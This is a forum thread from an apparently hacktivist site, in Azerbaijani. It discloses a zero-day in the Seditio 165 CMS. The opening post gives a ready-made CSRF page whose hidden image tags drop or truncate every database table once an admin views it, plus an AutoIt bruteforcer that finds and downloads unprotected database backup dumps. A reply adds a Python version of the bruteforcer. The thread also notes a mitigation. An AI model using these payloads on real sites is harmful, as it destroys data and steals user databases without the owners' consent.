Anti-armenia.ORG - Forumlar - Seditio 165 CSRF/Database Dump bruteforce



Istifadəçi
    2012-04-07 08:10 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Seditio 165 -də yeni versiyadır Kaan tərəfindən tapdığım vuln CSRF yəni CROSS SİTE REQUEST FORGERY vasitəsilə Database table-larını Drop (pozmaq) və truncate etmək mümkündür.
Yəni databaseni hissə hissə yaxud tamamilə məhv etməkdir sadəcə olaraq adminkaya girmiş adminə pmdə link atmaq yaxud [img] teqi ile exploitli səhifəyə şəkil yerləşdirmək bəs edir.
Digər tərəfdən isə Seditio 165 də adminka vasitəsilə database-in dumpına imkan var gəlki yenə də insecuredir çünki datas/backups dirində (dumplar saxlanılan dirdə)
heç bir .htaccess yoxdur həmin du dumpları oxumaqdan qorumaq üçün.Onun üçün də kiçik bruteforcer yazdım dumpı çəkmək üçün.
Artıq 0daydir.
Aşağıda Disclosureni verirəm:
Kod:
=============================================
Vulnerable Software: Seditio v165
Downloaded from: http://seditio-eklenti.com/datas/users/1-seditio.165.rar
(This version is under development of Kaan)

$ md5sum 1-seditio.165.rar
2eebc8d80f7fcd4e9a0d0659ef193488 *1-seditio.165.rar
=============================================
Vuln Desc:
Seditio 165 is prone to CROSS SITE REQUEST FORGERY vuln.
*Because in administration section it uses
T3 DB Tools v1.6 without any $_GET tokenization this is possible without any problem to exploitate CSRF against application and destroy/truncate
database tables*
  *Second issuse is seditio 165 stores database dump files in unsafe manner(See below)*
==============================================
Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
    -> ;
+-----------+
| version() |
+-----------+
| 5.5.21    |
+-----------+
*/
=================================================


@Print screen after succesfully CSRF attack:
http://s019.radikal.ru/i601/1204/1b/90552af729ad.png


====================== Seditio 165 Drop/truncate Database tables using CSRF vuln ===================================
<h1>Seditio 165 Drop Database tables using CSRF vuln<br>
Because usage of T3 DB Tools v1.6 without any $_GET tokenization in administration section.</h1>

<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_posts" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_sections" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_structure" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_forum_topics" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165/t/admin.php?m=dbtools&a=drop&table=sed_logger" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pages" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pfs_folders" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_pm" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_options" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_polls_voters" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_redirecter" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_trash" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_referers" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_auth" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_banlist" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_com" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_plugins" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_online" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_config" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_core" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_groups_users" width="0" height="0"></img>
<img src="http://192.168.0.15/learn/128/sed/seditio165//admin.php?m=dbtools&a=drop&table=sed_cache" width="0" height="0"></img>
<!--IDEA! CTRL+H http://192.168.0.15/learn/128/sed/seditio165/ to target :D-->
====================== EOF Seditio 165 Drop Database tables using CSRF vuln ===================================

You can change &a=drop to truncate statement too
In ex:
<img src="http://CHANGE_TO_RTARGEt/admin.php?m=dbtools&a=truncate&table=sed_forum_posts" width="0" height="0"></img>

Another issuse is: # Theris No .htaccess file to protect database dump files from world (Hint .htaccess =>deny from all<=)

me@localhost.localdomain /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# ls -lia
total 93
562949953537506 drwxrwxrwx+ 1 mehere ????????     0 Apr  7 03:08 .
1407374883669468 drwxrwxrwx+ 1 mehere ????????     0 Apr  7 03:02 ..
562949953537507 -rwxrwxrwx+ 1 mehere ????????   370 Feb 12 21:39 index.php
1970324837100442 -rwx------+ 1 ????????       ???????? 91031 Apr  7 03:08 sed165_04.07.12-030823.sql  <=== this is my dump


me@localhost.localdomain /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
# pwd
/cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups

me@localhost.localdomain /cygdrive/c/Program Files/Apache Software Foundation/Apache2.2/htdocs/learn/128/sed/seditio165/datas/backups
#


Since database dump potentially world readable this is possible to bruteforce for existing database dump(s) and steal it.
From scratch and a bit lame but works for me at least it is Proof of concept:
@Print screen bruteforce result:
http://s019.radikal.ru/i614/1204/af/a16616428e18.png


==================== Bruteforcer to find existing database dump file for seditio 165 ==========================
#include <inet.au3>


$prefix='sed165_'; db prefix in most cases sed_

$il='2012'; start year
$ay='04' ; start month
$gun='07'; start day
$site='http://192.168.0.15/learn/128/sed/seditio165/datas/backups/'; //target site


#cs
DO not touch
#ce


$saniye=00;
$deqiqe=00;
$saat=03;
;~ $gun='01'

$il=StringMid($il,3,StringLen($il))

while 1

Sleep(10);
$saniye+=1;
if $saniye >59 Then
$saniye='00'
$deqiqe+=1;
EndIf

if $deqiqe <10 Then
$deqiqe='0' & StringMid($deqiqe,StringLen($deqiqe),1)
EndIf

if $deqiqe >59 Then
$deqiqe='00';
$saat+=1;
EndIf

if $saat <10 Then
$saat='0' & StringMid($saat,StringLen($saat),1)
EndIf

if $saat >23 Then
$saat='00'
$gun+=1;
EndIf

if $gun <10 Then
$gun='0' & StringMid($gun,StringLen($gun),1)
EndIf

if $gun >31 Then
$gun='01';
$ay+=1;
EndIf

if $ay <10 Then
$ay='0' & StringMid($ay,StringLen($ay),1)
EndIf

if $ay >12 Then
$ay='01';
$il+=1;
EndIf


if $saniye <10  Then
      $saniye='0' & StringMid($saniye,1,1);
EndIf

;~ format of dumpfile sed165_04.07.12-030823.sql
$fetchitifexists=$prefix & $ay & '.' & $gun & '.' & $il & '-' &  $saat & $deqiqe & $saniye &'.sql' &  @CRLF
    ConsoleWrite('Verifying ' & $fetchitifexists & @CRLF);

if StringInStr(_INetGetSource($site & $fetchitifexists,TRUE),'-- T3 DB Tools',0) Then
MsgBox(0,"Check it out",$site & $fetchitifexists,10)

FileWrite(@ScriptDir &"\wohoooo.txt",$site & $fetchitifexists & @CRLF)
$confirm=MsgBox(65,"Exit or continue?","Exit or Continue?")
if $confirm=1 Then
MsgBox(48,"Bye","Byeeee xD");
Exit
EndIf
EndIf


WEnd


========================== EOF bruteforcer ============================================================




/AkaStep ^_^

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-04-07 10:17 GMT                 

AttackerW0rm



İstifadəçi
Mesaj Sayı : 112
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Gözəl anlatmısan Disclosure -da əla çıxıb. Zaman keçdikcə seditio şirkəti iflas edəcək məncə səbəbi isə arıq köhnə və yeni scriptlərində gün günə bugların ortaya çıxması istifadəçilərdə qorxu yaradır. ThankZ!

Respect to aLL musLumanZz & bLackHatZz

Aa Team // AttackerW0rm
Anti-armenia.ORG
    

Istifadəçi
    2012-04-07 10:18 GMT                 

K0K4!N



İstifadəçi
Mesaj Sayı : 115
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş : 35
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər Qaqa LazımLı MƏlumatdır

Anti-armenia.ORG
    

Istifadəçi
    2012-04-07 15:10 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Gözəl iş.

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2012-04-07 23:18 GMT                 

MetaizM



Gold
Mesaj Sayı : 175
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Çox gözəl bro artıq seditio`da əriyir bizim əlimizdən
http://pastebin.com/5mcWRmDd Sənin yazdığını məndə python`da qaraladım birşeylər ))

Kod:
#!/usr/bin/env python
#Coded By metaizm
#AsKa DaVam =~~````
import urllib
import re
bas = input("Baslangic Reqemi Daxil edin : ")
bitis = input("Bitis ReqemI daxil edin : ")
for i in range(bas,bitis):
    prefix = "sed165_"
    il = "12"
    ay = "04"
    gun = "07"
    site = "http://localhost/se/datas/backups/"+str(prefix)+str(ay)+str(".")+str(gun)+str(".")+str(il)+str("-")+str("0")+str(i)+str(".sql")
    print site
    page=urllib.urlopen(site).read()
    if re.findall("sed_users",page):
        print "^-->Tapildi<--^"

Anti-armenia.ORG
    

Istifadəçi
    2012-04-07 23:29 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


MetaizM Respect!

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2012-04-08 00:24 GMT                 

CwGhost



VIP
Mesaj Sayı : 160
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : CwGhost
Yaş :
Mesaj :

Mövzunu Paylaş!


təşəkkürlər

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-04-08 00:27 GMT                 

B0T_25



Gold
Mesaj Sayı : 167
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər bro.

Anti-armenia.ORG
    

Istifadəçi
    2012-04-09 03:59 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər hər birinizə.
Yeri gəlmişkən Bu Vuln Critical Qiymətləndirilib: http://cxsecurity.com/issue/WLB-2012040071
Mən bildiyim qədərilə də aznetdə bu versiyadan istifade edənlər az deyil.
Kimki bu versiyadan istifadə edirsə təcili T3 DB TOOL-u pozsun sistemdən və datas/backups dirinə
.htaccess atsın içində də deny from all yazısı ilə.

Ana VƏTƏN!
Anti-armenia.ORG